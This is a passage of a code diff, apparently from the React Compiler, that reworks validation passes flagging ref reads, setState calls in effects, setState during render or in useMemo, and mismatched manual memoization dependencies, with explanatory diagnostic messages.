+      for (const operand of eachTerminalOperand(block.terminal)) {
+        if (block.terminal.kind !== 'return') {
+          validateNoRefValueAccess(errors, env, operand);
+          if (block.terminal.kind !== 'if') {
+            guardCheck(errors, operand, env);
+          }
+        } else {
+          // Allow functions containing refs to be returned, but not direct ref values
+          validateNoDirectRefValueAccess(errors, operand, env);
+          guardCheck(errors, operand, env);
+          returnValues.push(env.get(operand.identifier.id));
+        }
+      }
+    }
+
+    if (errors.hasAnyErrors()) {
+      return {kind: 'None'};
+    }
+  }
+
+  CompilerError.invariant(!env.hasChanged(), {
+    reason: 'Ref type environment did not converge',
+    loc: GeneratedSource,
+  });
+
+  return joinRefAccessTypes(
+    ...returnValues.filter((env): env is RefAccessType => env !== undefined),
+  );
+}
+
+function destructure(
+  type: RefAccessType | undefined,
+): RefAccessType | undefined {
+  if (type?.kind === 'Structure' && type.value !== null) {
+    return destructure(type.value);
+  }
+  return type;
+}
+
+function guardCheck(errors: CompilerError, operand: Place, env: Env): void {
+  if (env.get(operand.identifier.id)?.kind === 'Guard') {
+    errors.pushDiagnostic(
+      CompilerDiagnostic.create({
+        category: ErrorCategory.Refs,
+        reason: 'Cannot access refs during render',
+        description: ERROR_DESCRIPTION,
+      }).withDetails({
+        kind: 'error',
+        loc: operand.loc,
+        message: `Cannot access ref value during render`,
+      }),
+    );
+  }
+}
+
+function validateNoRefValueAccess(
+  errors: CompilerError,
+  env: Env,
+  operand: Place,
+): void {
+  const type = destructure(env.get(operand.identifier.id));
+  if (
+    type?.kind === 'RefValue' ||
+    (type?.kind === 'Structure' && type.fn?.readRefEffect)
+  ) {
+    errors.pushDiagnostic(
+      CompilerDiagnostic.create({
+        category: ErrorCategory.Refs,
+        reason: 'Cannot access refs during render',
+        description: ERROR_DESCRIPTION,
+      }).withDetails({
+        kind: 'error',
+        loc: (type.kind === 'RefValue' && type.loc) || operand.loc,
+        message: `Cannot access ref value during render`,
+      }),
+    );
+  }
+}
+
+function validateNoRefPassedToFunction(
+  errors: CompilerError,
+  env: Env,
+  operand: Place,
+  loc: SourceLocation,
+): void {
+  const type = destructure(env.get(operand.identifier.id));
+  if (
+    type?.kind === 'Ref' ||
+    type?.kind === 'RefValue' ||
+    (type?.kind === 'Structure' && type.fn?.readRefEffect)
+  ) {
+    errors.pushDiagnostic(
+      CompilerDiagnostic.create({
+        category: ErrorCategory.Refs,
+        reason: 'Cannot access refs during render',
+        description: ERROR_DESCRIPTION,
+      }).withDetails({
+        kind: 'error',
+        loc: (type.kind === 'RefValue' && type.loc) || loc,
+        message: `Passing a ref to a function may read its value during render`,
+      }),
+    );
+  }
+}
+
+function validateNoRefUpdate(
+  errors: CompilerError,
+  env: Env,
+  operand: Place,
+  loc: SourceLocation,
+): void {
+  const type = destructure(env.get(operand.identifier.id));
+  if (type?.kind === 'Ref' || type?.kind === 'RefValue') {
+    errors.pushDiagnostic(
+      CompilerDiagnostic.create({
+        category: ErrorCategory.Refs,
+        reason: 'Cannot access refs during render',
+        description: ERROR_DESCRIPTION,
+      }).withDetails({
+        kind: 'error',
+        loc: (type.kind === 'RefValue' && type.loc) || loc,
+        message: `Cannot update ref during render`,
+      }),
+    );
+  }
+}
+
+function validateNoDirectRefValueAccess(
+  errors: CompilerError,
+  operand: Place,
+  env: Env,
+): void {
+  const type = destructure(env.get(operand.identifier.id));
+  if (type?.kind === 'RefValue') {
+    errors.pushDiagnostic(
+      CompilerDiagnostic.create({
+        category: ErrorCategory.Refs,
+        reason: 'Cannot access refs during render',
+        description: ERROR_DESCRIPTION,
+      }).withDetails({
+        kind: 'error',
+        loc: type.loc ?? operand.loc,
+        message: `Cannot access ref value during render`,
+      }),
+    );
+  }
+}
+
+const ERROR_DESCRIPTION =
+  'React refs are values that are not needed for rendering. Refs should only be accessed ' +
+  'outside of render, such as in event handlers or effects. ' +
+  'Accessing a ref value (the `current` property) during render can cause your component ' +
+  'not to update as expected (https://react.dev/reference/react/useRef)';
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoSetStateInEffects.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoSetStateInEffects.ts
new file mode 100644
index 000000000000..2457e0d7b99e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoSetStateInEffects.ts
@@ -0,0 +1,347 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {
+  CompilerDiagnostic,
+  CompilerError,
+  ErrorCategory,
+} from '../CompilerError';
+import {
+  Environment,
+  HIRFunction,
+  IdentifierId,
+  isSetStateType,
+  isUseEffectHookType,
+  isUseEffectEventType,
+  isUseInsertionEffectHookType,
+  isUseLayoutEffectHookType,
+  isUseRefType,
+  isRefValueType,
+  Place,
+  Effect,
+  BlockId,
+} from '../HIR';
+import {
+  eachInstructionLValue,
+  eachInstructionValueOperand,
+} from '../HIR/visitors';
+import {createControlDominators} from '../Inference/ControlDominators';
+import {isMutable} from '../ReactiveScopes/InferReactiveScopeVariables';
+import {Result} from '../Utils/Result';
+import {assertExhaustive, Iterable_some} from '../Utils/utils';
+
+/**
+ * Validates against calling setState in the body of an effect (useEffect and friends),
+ * while allowing calling setState in callbacks scheduled by the effect.
+ *
+ * Calling setState during execution of a useEffect triggers a re-render, which is
+ * often bad for performance and frequently has more efficient and straightforward
+ * alternatives. See https://react.dev/learn/you-might-not-need-an-effect for examples.
+ */
+export function validateNoSetStateInEffects(
+  fn: HIRFunction,
+  env: Environment,
+): Result<void, CompilerError> {
+  const setStateFunctions: Map<IdentifierId, Place> = new Map();
+  const errors = new CompilerError();
+  for (const [, block] of fn.body.blocks) {
+    for (const instr of block.instructions) {
+      switch (instr.value.kind) {
+        case 'LoadLocal': {
+          if (setStateFunctions.has(instr.value.place.identifier.id)) {
+            setStateFunctions.set(
+              instr.lvalue.identifier.id,
+              instr.value.place,
+            );
+          }
+          break;
+        }
+        case 'StoreLocal': {
+          if (setStateFunctions.has(instr.value.value.identifier.id)) {
+            setStateFunctions.set(
+              instr.value.lvalue.place.identifier.id,
+              instr.value.value,
+            );
+            setStateFunctions.set(
+              instr.lvalue.identifier.id,
+              instr.value.value,
+            );
+          }
+          break;
+        }
+        case 'FunctionExpression': {
+          if (
+            // faster-path to check if the function expression references a setState
+            [...eachInstructionValueOperand(instr.value)].some(
+              operand =>
+                isSetStateType(operand.identifier) ||
+                setStateFunctions.has(operand.identifier.id),
+            )
+          ) {
+            const callee = getSetStateCall(
+              instr.value.loweredFunc.func,
+              setStateFunctions,
+              env,
+            );
+            if (callee !== null) {
+              setStateFunctions.set(instr.lvalue.identifier.id, callee);
+            }
+          }
+          break;
+        }
+        case 'MethodCall':
+        case 'CallExpression': {
+          const callee =
+            instr.value.kind === 'MethodCall'
+              ? instr.value.property
+              : instr.value.callee;
+
+          if (isUseEffectEventType(callee.identifier)) {
+            const arg = instr.value.args[0];
+            if (arg !== undefined && arg.kind === 'Identifier') {
+              const setState = setStateFunctions.get(arg.identifier.id);
+              if (setState !== undefined) {
+                /**
+                 * This effect event function calls setState synchonously,
+                 * treat it as a setState function for transitive tracking
+                 */
+                setStateFunctions.set(instr.lvalue.identifier.id, setState);
+              }
+            }
+          } else if (
+            isUseEffectHookType(callee.identifier) ||
+            isUseLayoutEffectHookType(callee.identifier) ||
+            isUseInsertionEffectHookType(callee.identifier)
+          ) {
+            const arg = instr.value.args[0];
+            if (arg !== undefined && arg.kind === 'Identifier') {
+              const setState = setStateFunctions.get(arg.identifier.id);
+              if (setState !== undefined) {
+                const enableVerbose =
+                  env.config.enableVerboseNoSetStateInEffect;
+                if (enableVerbose) {
+                  errors.pushDiagnostic(
+                    CompilerDiagnostic.create({
+                      category: ErrorCategory.EffectSetState,
+                      reason:
+                        'Calling setState synchronously within an effect can trigger cascading renders',
+                      description:
+                        'Effects are intended to synchronize state between React and external systems. ' +
+                        'Calling setState synchronously causes cascading renders that hurt performance.\n\n' +
+                        'This pattern may indicate one of several issues:\n\n' +
+                        '**1. Non-local derived data**: If the value being set could be computed from props/state ' +
+                        'but requires data from a parent component, consider restructuring state ownership so the ' +
+                        'derivation can happen during render in the component that owns the relevant state.\n\n' +
+                        "**2. Derived event pattern**: If you're detecting when a prop changes (e.g., `isPlaying` " +
+                        'transitioning from false to true), this often indicates the parent should provide an event ' +
+                        'callback (like `onPlay`) instead of just the current state. Request access to the original event.\n\n' +
+                        "**3. Force update / external sync**: If you're forcing a re-render to sync with an external " +
+                        'data source (mutable values outside React), use `useSyncExternalStore` to properly subscribe ' +
+                        'to external state changes.\n\n' +
+                        'See: https://react.dev/learn/you-might-not-need-an-effect',
+                      suggestions: null,
+                    }).withDetails({
+                      kind: 'error',
+                      loc: setState.loc,
+                      message:
+                        'Avoid calling setState() directly within an effect',
+                    }),
+                  );
+                } else {
+                  errors.pushDiagnostic(
+                    CompilerDiagnostic.create({
+                      category: ErrorCategory.EffectSetState,
+                      reason:
+                        'Calling setState synchronously within an effect can trigger cascading renders',
+                      description:
+                        'Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. ' +
+                        'In general, the body of an effect should do one or both of the following:\n' +
+                        '* Update external systems with the latest state from React.\n' +
+                        '* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\n\n' +
+                        'Calling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. ' +
+                        '(https://react.dev/learn/you-might-not-need-an-effect)',
+                      suggestions: null,
+                    }).withDetails({
+                      kind: 'error',
+                      loc: setState.loc,
+                      message:
+                        'Avoid calling setState() directly within an effect',
+                    }),
+                  );
+                }
+              }
+            }
+          }
+          break;
+        }
+      }
+    }
+  }
+
+  return errors.asResult();
+}
+
+function getSetStateCall(
+  fn: HIRFunction,
+  setStateFunctions: Map<IdentifierId, Place>,
+  env: Environment,
+): Place | null {
+  const enableAllowSetStateFromRefsInEffects =
+    env.config.enableAllowSetStateFromRefsInEffects;
+  const refDerivedValues: Set<IdentifierId> = new Set();
+
+  const isDerivedFromRef = (place: Place): boolean => {
+    return (
+      refDerivedValues.has(place.identifier.id) ||
+      isUseRefType(place.identifier) ||
+      isRefValueType(place.identifier)
+    );
+  };
+
+  const isRefControlledBlock: (id: BlockId) => boolean =
+    enableAllowSetStateFromRefsInEffects
+      ? createControlDominators(fn, place => isDerivedFromRef(place))
+      : (): boolean => false;
+
+  for (const [, block] of fn.body.blocks) {
+    if (enableAllowSetStateFromRefsInEffects) {
+      for (const phi of block.phis) {
+        if (isDerivedFromRef(phi.place)) {
+          continue;
+        }
+        let isPhiDerivedFromRef = false;
+        for (const [, operand] of phi.operands) {
+          if (isDerivedFromRef(operand)) {
+            isPhiDerivedFromRef = true;
+            break;
+          }
+        }
+        if (isPhiDerivedFromRef) {
+          refDerivedValues.add(phi.place.identifier.id);
+        } else {
+          for (const [pred] of phi.operands) {
+            if (isRefControlledBlock(pred)) {
+              refDerivedValues.add(phi.place.identifier.id);
+              break;
+            }
+          }
+        }
+      }
+    }
+    for (const instr of block.instructions) {
+      if (enableAllowSetStateFromRefsInEffects) {
+        const hasRefOperand = Iterable_some(
+          eachInstructionValueOperand(instr.value),
+          isDerivedFromRef,
+        );
+
+        if (hasRefOperand) {
+          for (const lvalue of eachInstructionLValue(instr)) {
+            refDerivedValues.add(lvalue.identifier.id);
+          }
+          // Ref-derived values can also propagate through mutation
+          for (const operand of eachInstructionValueOperand(instr.value)) {
+            switch (operand.effect) {
+              case Effect.Capture:
+              case Effect.Store:
+              case Effect.ConditionallyMutate:
+              case Effect.ConditionallyMutateIterator:
+              case Effect.Mutate: {
+                if (isMutable(instr, operand)) {
+                  refDerivedValues.add(operand.identifier.id);
+                }
+                break;
+              }
+              case Effect.Freeze:
+              case Effect.Read: {
+                // no-op
+                break;
+              }
+              case Effect.Unknown: {
+                CompilerError.invariant(false, {
+                  reason: 'Unexpected unknown effect',
+                  loc: operand.loc,
+                });
+              }
+              default: {
+                assertExhaustive(
+                  operand.effect,
+                  `Unexpected effect kind \`${operand.effect}\``,
+                );
+              }
+            }
+          }
+        }
+
+        if (
+          instr.value.kind === 'PropertyLoad' &&
+          instr.value.property === 'current' &&
+          (isUseRefType(instr.value.object.identifier) ||
+            isRefValueType(instr.value.object.identifier))
+        ) {
+          refDerivedValues.add(instr.lvalue.identifier.id);
+        }
+      }
+
+      switch (instr.value.kind) {
+        case 'LoadLocal': {
+          if (setStateFunctions.has(instr.value.place.identifier.id)) {
+            setStateFunctions.set(
+              instr.lvalue.identifier.id,
+              instr.value.place,
+            );
+          }
+          break;
+        }
+        case 'StoreLocal': {
+          if (setStateFunctions.has(instr.value.value.identifier.id)) {
+            setStateFunctions.set(
+              instr.value.lvalue.place.identifier.id,
+              instr.value.value,
+            );
+            setStateFunctions.set(
+              instr.lvalue.identifier.id,
+              instr.value.value,
+            );
+          }
+          break;
+        }
+        case 'CallExpression': {
+          const callee = instr.value.callee;
+          if (
+            isSetStateType(callee.identifier) ||
+            setStateFunctions.has(callee.identifier.id)
+          ) {
+            if (enableAllowSetStateFromRefsInEffects) {
+              const arg = instr.value.args.at(0);
+              if (
+                arg !== undefined &&
+                arg.kind === 'Identifier' &&
+                refDerivedValues.has(arg.identifier.id)
+              ) {
+                /**
+                 * The one special case where we allow setStates in effects is in the very specific
+                 * scenario where the value being set is derived from a ref. For example this may
+                 * be needed when initial layout measurements from refs need to be stored in state.
+                 */
+                return null;
+              } else if (isRefControlledBlock(block.id)) {
+                continue;
+              }
+            }
+            /*
+             * TODO: once we support multiple locations per error, we should link to the
+             * original Place in the case that setStateFunction.has(callee)
+             */
+            return callee;
+          }
+        }
+      }
+    }
+  }
+  return null;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoSetStateInRender.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoSetStateInRender.ts
index 92fe6be2e082..43db75110798 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoSetStateInRender.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoSetStateInRender.ts
@@ -5,11 +5,14 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError, ErrorSeverity } from "../CompilerError";
-import { HIRFunction, IdentifierId, Place, isSetStateType } from "../HIR";
-import { computeUnconditionalBlocks } from "../HIR/ComputeUnconditionalBlocks";
-import { eachInstructionValueOperand } from "../HIR/visitors";
-import { Err, Ok, Result } from "../Utils/Result";
+import {
+  CompilerDiagnostic,
+  CompilerError,
+  ErrorCategory,
+} from '../CompilerError';
+import {HIRFunction, IdentifierId, isSetStateType} from '../HIR';
+import {computeUnconditionalBlocks} from '../HIR/ComputeUnconditionalBlocks';
+import {eachInstructionValueOperand} from '../HIR/visitors';
 
 /**
  * Validates that the given function does not have an infinite update loop
@@ -41,99 +44,147 @@ import { Err, Ok, Result } from "../Utils/Result";
  */
 export function validateNoSetStateInRender(fn: HIRFunction): void {
   const unconditionalSetStateFunctions: Set<IdentifierId> = new Set();
-  validateNoSetStateInRenderImpl(fn, unconditionalSetStateFunctions).unwrap();
+  const errors = validateNoSetStateInRenderImpl(
+    fn,
+    unconditionalSetStateFunctions,
+  );
+  for (const detail of errors.details) {
+    fn.env.recordError(detail);
+  }
 }
 
 function validateNoSetStateInRenderImpl(
   fn: HIRFunction,
-  unconditionalSetStateFunctions: Set<IdentifierId>
-): Result<void, CompilerError> {
+  unconditionalSetStateFunctions: Set<IdentifierId>,
+): CompilerError {
   const unconditionalBlocks = computeUnconditionalBlocks(fn);
-
+  let activeManualMemoId: number | null = null;
   const errors = new CompilerError();
   for (const [, block] of fn.body.blocks) {
-    if (unconditionalBlocks.has(block.id)) {
-      for (const instr of block.instructions) {
-        switch (instr.value.kind) {
-          case "LoadLocal": {
-            if (
-              unconditionalSetStateFunctions.has(
-                instr.value.place.identifier.id
-              )
-            ) {
-              unconditionalSetStateFunctions.add(instr.lvalue.identifier.id);
-            }
-            break;
-          }
-          case "StoreLocal": {
-            if (
-              unconditionalSetStateFunctions.has(
-                instr.value.value.identifier.id
-              )
-            ) {
-              unconditionalSetStateFunctions.add(
-                instr.value.lvalue.place.identifier.id
-              );
-              unconditionalSetStateFunctions.add(instr.lvalue.identifier.id);
-            }
-            break;
+    for (const instr of block.instructions) {
+      switch (instr.value.kind) {
+        case 'LoadLocal': {
+          if (
+            unconditionalSetStateFunctions.has(instr.value.place.identifier.id)
+          ) {
+            unconditionalSetStateFunctions.add(instr.lvalue.identifier.id);
           }
-          case "ObjectMethod":
-          case "FunctionExpression": {
-            if (
-              // faster-path to check if the function expression references a setState
-              [...eachInstructionValueOperand(instr.value)].some(
-                (operand) =>
-                  isSetStateType(operand.identifier) ||
-                  unconditionalSetStateFunctions.has(operand.identifier.id)
-              ) &&
-              // if yes, does it unconditonally call it?
-              validateNoSetStateInRenderImpl(
-                instr.value.loweredFunc.func,
-                unconditionalSetStateFunctions
-              ).isErr()
-            ) {
-              // This function expression unconditionally calls a setState
-              unconditionalSetStateFunctions.add(instr.lvalue.identifier.id);
-            }
-            break;
+          break;
+        }
+        case 'StoreLocal': {
+          if (
+            unconditionalSetStateFunctions.has(instr.value.value.identifier.id)
+          ) {
+            unconditionalSetStateFunctions.add(
+              instr.value.lvalue.place.identifier.id,
+            );
+            unconditionalSetStateFunctions.add(instr.lvalue.identifier.id);
           }
-          case "CallExpression": {
-            validateNonSetState(
-              errors,
+          break;
+        }
+        case 'ObjectMethod':
+        case 'FunctionExpression': {
+          if (
+            // faster-path to check if the function expression references a setState
+            [...eachInstructionValueOperand(instr.value)].some(
+              operand =>
+                isSetStateType(operand.identifier) ||
+                unconditionalSetStateFunctions.has(operand.identifier.id),
+            ) &&
+            // if yes, does it unconditonally call it?
+            validateNoSetStateInRenderImpl(
+              instr.value.loweredFunc.func,
               unconditionalSetStateFunctions,
-              instr.value.callee
-            );
-            break;
+            ).hasAnyErrors()
+          ) {
+            // This function expression unconditionally calls a setState
+            unconditionalSetStateFunctions.add(instr.lvalue.identifier.id);
           }
+          break;
+        }
+        case 'StartMemoize': {
+          CompilerError.invariant(activeManualMemoId === null, {
+            reason: 'Unexpected nested StartMemoize instructions',
+            loc: instr.value.loc,
+          });
+          activeManualMemoId = instr.value.manualMemoId;
+          break;
+        }
+        case 'FinishMemoize': {
+          CompilerError.invariant(
+            activeManualMemoId === instr.value.manualMemoId,
+            {
+              reason:
+                'Expected FinishMemoize to align with previous StartMemoize instruction',
+              loc: instr.value.loc,
+            },
+          );
+          activeManualMemoId = null;
+          break;
+        }
+        case 'CallExpression': {
+          const callee = instr.value.callee;
+          if (
+            isSetStateType(callee.identifier) ||
+            unconditionalSetStateFunctions.has(callee.identifier.id)
+          ) {
+            if (activeManualMemoId !== null) {
+              errors.pushDiagnostic(
+                CompilerDiagnostic.create({
+                  category: ErrorCategory.RenderSetState,
+                  reason:
+                    'Calling setState from useMemo may trigger an infinite loop',
+                  description:
+                    'Each time the memo callback is evaluated it will change state. This can cause a memoization dependency to change, running the memo function again and causing an infinite loop. Instead of setting state in useMemo(), prefer deriving the value during render. (https://react.dev/reference/react/useState)',
+                  suggestions: null,
+                }).withDetails({
+                  kind: 'error',
+                  loc: callee.loc,
+                  message: 'Found setState() within useMemo()',
+                }),
+              );
+            } else if (unconditionalBlocks.has(block.id)) {
+              const enableUseKeyedState = fn.env.config.enableUseKeyedState;
+              if (enableUseKeyedState) {
+                errors.pushDiagnostic(
+                  CompilerDiagnostic.create({
+                    category: ErrorCategory.RenderSetState,
+                    reason: 'Cannot call setState during render',
+                    description:
+                      'Calling setState during render may trigger an infinite loop.\n' +
+                      '* To reset state when other state/props change, use `const [state, setState] = useKeyedState(initialState, key)` to reset `state` when `key` changes.\n' +
+                      '* To derive data from other state/props, compute the derived data during render without using state',
+                    suggestions: null,
+                  }).withDetails({
+                    kind: 'error',
+                    loc: callee.loc,
+                    message: 'Found setState() in render',
+                  }),
+                );
+              } else {
+                errors.pushDiagnostic(
+                  CompilerDiagnostic.create({
+                    category: ErrorCategory.RenderSetState,
+                    reason: 'Cannot call setState during render',
+                    description:
+                      'Calling setState during render may trigger an infinite loop.\n' +
+                      '* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders\n' +
+                      '* To derive data from other state/props, compute the derived data during render without using state',
+                    suggestions: null,
+                  }).withDetails({
+                    kind: 'error',
+                    loc: callee.loc,
+                    message: 'Found setState() in render',
+                  }),
+                );
+              }
+            }
+          }
+          break;
         }
       }
     }
   }
 
-  if (errors.hasErrors()) {
-    return Err(errors);
-  } else {
-    return Ok(undefined);
-  }
-}
-
-function validateNonSetState(
-  errors: CompilerError,
-  unconditionalSetStateFunctions: Set<IdentifierId>,
-  operand: Place
-): void {
-  if (
-    isSetStateType(operand.identifier) ||
-    unconditionalSetStateFunctions.has(operand.identifier.id)
-  ) {
-    errors.push({
-      reason:
-        "This is an unconditional set state during render, which will trigger an infinite loop. (https://react.dev/reference/react/useState)",
-      description: null,
-      severity: ErrorSeverity.InvalidReact,
-      loc: typeof operand.loc !== "symbol" ? operand.loc : null,
-      suggestions: null,
-    });
-  }
+  return errors;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidatePreservedManualMemoization.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidatePreservedManualMemoization.ts
index b15ef94d92e5..d39aa307dfb3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidatePreservedManualMemoization.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidatePreservedManualMemoization.ts
@@ -5,15 +5,20 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError, Effect, ErrorSeverity } from "..";
 import {
+  CompilerDiagnostic,
+  CompilerError,
+  ErrorCategory,
+} from '../CompilerError';
+import {
+  DeclarationId,
+  Effect,
   GeneratedSource,
   Identifier,
   IdentifierId,
-  Instruction,
   InstructionValue,
   ManualMemoDependency,
-  Place,
+  PrunedReactiveScopeBlock,
   ReactiveFunction,
   ReactiveInstruction,
   ReactiveScopeBlock,
@@ -21,15 +26,19 @@ import {
   ReactiveValue,
   ScopeId,
   SourceLocation,
-} from "../HIR";
-import { printManualMemoDependency } from "../HIR/PrintHIR";
-import { eachInstructionValueOperand } from "../HIR/visitors";
-import { collectMaybeMemoDependencies } from "../Inference/DropManualMemoization";
-import { isMutable } from "../ReactiveScopes/InferReactiveScopeVariables";
+} from '../HIR';
+import {Environment} from '../HIR/Environment';
+import {printIdentifier, printManualMemoDependency} from '../HIR/PrintHIR';
+import {
+  eachInstructionValueLValue,
+  eachInstructionValueOperand,
+} from '../HIR/visitors';
+import {collectMaybeMemoDependencies} from '../Inference/DropManualMemoization';
 import {
   ReactiveFunctionVisitor,
   visitReactiveFunction,
-} from "../ReactiveScopes/visitors";
+} from '../ReactiveScopes/visitors';
+import {getOrInsertDefault} from '../Utils/utils';
 
 /**
  * Validates that all explicit manual memoization (useMemo/useCallback) was accurately
@@ -40,18 +49,25 @@ import {
  */
 export function validatePreservedManualMemoization(fn: ReactiveFunction): void {
   const state = {
-    errors: new CompilerError(),
+    env: fn.env,
     manualMemoState: null,
   };
   visitReactiveFunction(fn, new Visitor(), state);
-  if (state.errors.hasErrors()) {
-    throw state.errors;
-  }
 }
 
 const DEBUG = false;
 
 type ManualMemoBlockState = {
+  /**
+   * Tracks reassigned temporaries.
+   * This is necessary because useMemo calls are usually inlined.
+   * Inlining produces a `let` declaration, followed by reassignments
+   * to the newly declared variable (one per return statement).
+   * Since InferReactiveScopes does not merge scopes across reassigned
+   * variables (except in the case of a mutate-after-phi), we need to
+   * track reassignments to validate we're retaining manual memo.
+   */
+  reassignments: Map<DeclarationId, Set<Identifier>>;
   // The source of the original memoization, used when reporting errors
   loc: SourceLocation;
 
@@ -83,7 +99,7 @@ type ManualMemoBlockState = {
    * } else { ... }
    * ```
    */
-  decls: Set<IdentifierId>;
+  decls: Set<DeclarationId>;
 
   /*
    * normalized depslist from useMemo/useCallback
@@ -94,18 +110,18 @@ type ManualMemoBlockState = {
 };
 
 type VisitorState = {
-  errors: CompilerError;
+  env: Environment;
   manualMemoState: ManualMemoBlockState | null;
 };
 
 function prettyPrintScopeDependency(val: ReactiveScopeDependency): string {
   let rootStr;
-  if (val.identifier.name?.kind === "named") {
+  if (val.identifier.name?.kind === 'named') {
     rootStr = val.identifier.name.value;
   } else {
-    rootStr = "[unnamed]";
+    rootStr = '[unnamed]';
   }
-  return `${rootStr}${val.path.length > 0 ? "." : ""}${val.path.join(".")}`;
+  return `${rootStr}${val.path.map(v => `${v.optional ? '?.' : '.'}${v.property}`).join('')}`;
 }
 
 enum CompareDependencyResult {
@@ -118,37 +134,37 @@ enum CompareDependencyResult {
 
 function merge(
   a: CompareDependencyResult,
-  b: CompareDependencyResult
+  b: CompareDependencyResult,
 ): CompareDependencyResult {
   return Math.max(a, b);
 }
 
 function getCompareDependencyResultDescription(
-  result: CompareDependencyResult
+  result: CompareDependencyResult,
 ): string {
   switch (result) {
     case CompareDependencyResult.Ok:
-      return "dependencies equal";
+      return 'Dependencies equal';
     case CompareDependencyResult.RootDifference:
     case CompareDependencyResult.PathDifference:
-      return "inferred different dependency than source";
+      return 'Inferred different dependency than source';
     case CompareDependencyResult.RefAccessDifference:
-      return "differences in ref.current access";
+      return 'Differences in ref.current access';
     case CompareDependencyResult.Subpath:
-      return "inferred less specific property than source";
+      return 'Inferred less specific property than source';
   }
 }
 
 function compareDeps(
   inferred: ManualMemoDependency,
-  source: ManualMemoDependency
+  source: ManualMemoDependency,
 ): CompareDependencyResult {
   const rootsEqual =
-    (inferred.root.kind === "Global" &&
-      source.root.kind === "Global" &&
+    (inferred.root.kind === 'Global' &&
+      source.root.kind === 'Global' &&
       inferred.root.identifierName === source.root.identifierName) ||
-    (inferred.root.kind === "NamedLocal" &&
-      source.root.kind === "NamedLocal" &&
+    (inferred.root.kind === 'NamedLocal' &&
+      source.root.kind === 'NamedLocal' &&
       inferred.root.value.identifier.id === source.root.value.identifier.id);
   if (!rootsEqual) {
     return CompareDependencyResult.RootDifference;
@@ -156,9 +172,16 @@ function compareDeps(
 
   let isSubpath = true;
   for (let i = 0; i < Math.min(inferred.path.length, source.path.length); i++) {
-    if (inferred.path[i] !== source.path[i]) {
+    if (inferred.path[i].property !== source.path[i].property) {
       isSubpath = false;
       break;
+    } else if (inferred.path[i].optional !== source.path[i].optional) {
+      /**
+       * The inferred path must be at least as precise as the manual path:
+       * if the inferred path is optional, then the source path must have
+       * been optional too.
+       */
+      return CompareDependencyResult.PathDifference;
     }
   }
 
@@ -166,14 +189,14 @@ function compareDeps(
     isSubpath &&
     (source.path.length === inferred.path.length ||
       (inferred.path.length >= source.path.length &&
-        !inferred.path.includes("current")))
+        !inferred.path.some(token => token.property === 'current')))
   ) {
     return CompareDependencyResult.Ok;
   } else {
     if (isSubpath) {
       if (
-        source.path.includes("current") ||
-        inferred.path.includes("current")
+        source.path.some(token => token.property === 'current') ||
+        inferred.path.some(token => token.property === 'current')
       ) {
         return CompareDependencyResult.RefAccessDifference;
       } else {
@@ -205,10 +228,10 @@ function compareDeps(
 function validateInferredDep(
   dep: ReactiveScopeDependency,
   temporaries: Map<IdentifierId, ManualMemoDependency>,
-  declsWithinMemoBlock: Set<IdentifierId>,
+  declsWithinMemoBlock: Set<DeclarationId>,
   validDepsInMemoBlock: Array<ManualMemoDependency>,
-  errorState: CompilerError,
-  memoLocation: SourceLocation
+  env: Environment,
+  memoLocation: SourceLocation,
 ): void {
   let normalizedDep: ManualMemoDependency;
   const maybeNormalizedRoot = temporaries.get(dep.identifier.id);
@@ -216,32 +239,34 @@ function validateInferredDep(
     normalizedDep = {
       root: maybeNormalizedRoot.root,
       path: [...maybeNormalizedRoot.path, ...dep.path],
+      loc: maybeNormalizedRoot.loc,
     };
   } else {
-    CompilerError.invariant(dep.identifier.name?.kind === "named", {
+    CompilerError.invariant(dep.identifier.name?.kind === 'named', {
       reason:
-        "ValidatePreservedManualMemoization: expected scope dependency to be named",
+        'ValidatePreservedManualMemoization: expected scope dependency to be named',
       loc: GeneratedSource,
-      suggestions: null,
     });
     normalizedDep = {
       root: {
-        kind: "NamedLocal",
+        kind: 'NamedLocal',
         value: {
-          kind: "Identifier",
+          kind: 'Identifier',
           identifier: dep.identifier,
           loc: GeneratedSource,
           effect: Effect.Read,
           reactive: false,
         },
+        constant: false,
       },
       path: [...dep.path],
+      loc: GeneratedSource,
     };
   }
   for (const decl of declsWithinMemoBlock) {
     if (
-      normalizedDep.root.kind === "NamedLocal" &&
-      decl === normalizedDep.root.value.identifier.id
+      normalizedDep.root.kind === 'NamedLocal' &&
+      decl === normalizedDep.root.value.identifier.declarationId
     ) {
       return;
     }
@@ -255,106 +280,139 @@ function validateInferredDep(
       errorDiagnostic = merge(errorDiagnostic ?? compareResult, compareResult);
     }
   }
-  errorState.push({
-    severity: ErrorSeverity.CannotPreserveMemoization,
-    reason:
-      "React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected",
-    description: DEBUG
-      ? `The inferred dependency was \`${prettyPrintScopeDependency(
-          dep
-        )}\`, but the source dependencies were [${validDepsInMemoBlock
-          .map((dep) => printManualMemoDependency(dep, true))
-          .join(", ")}]. Detail: ${
-          errorDiagnostic
-            ? getCompareDependencyResultDescription(errorDiagnostic)
-            : "none"
-        }`
-      : null,
-    loc: memoLocation,
-    suggestions: null,
-  });
+  env.recordError(
+    CompilerDiagnostic.create({
